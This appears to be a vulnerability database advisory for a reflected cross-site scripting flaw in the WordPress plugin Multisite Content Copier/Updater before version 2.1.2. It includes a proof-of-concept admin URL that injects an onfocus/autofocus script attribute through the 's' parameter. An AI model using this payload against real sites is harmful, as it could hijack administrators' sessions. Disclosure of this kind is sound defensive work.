WordPress Plugin Vulnerabilities
Multisite Content Copier/Updater < 2.1.2 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the s parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue in the network dashboard
Proof of Concept
https://example.com/wp-admin/network/admin.php?page=wordpress-multisite-content-copier&s=dxsqp"+onfocus%3Dalert(1)+autofocus%3D+p00d5qdcwad&wmcc_records[0]=1&wmcc_content_type=post&wmcc_source_blog=4&wmcc_record_per_page=10&wmcc_destination_blogs[0]=1&wmcc_destination_blogs[1]=2&wmcc_destination_blogs[2]=3&wmcc_destination_blogs[3]=5©_media=1©_terms=1&wmcc_submit=Copy%2FUpdate
Affects Plugins
Fixed in version 2.1.2
References
Classification
Miscellaneous
Timeline
Publicly Published
2022-02-21 (about 4 months ago)
Added
2022-02-21 (about 4 months ago)
Last Updated
2022-04-10 (about 2 months ago)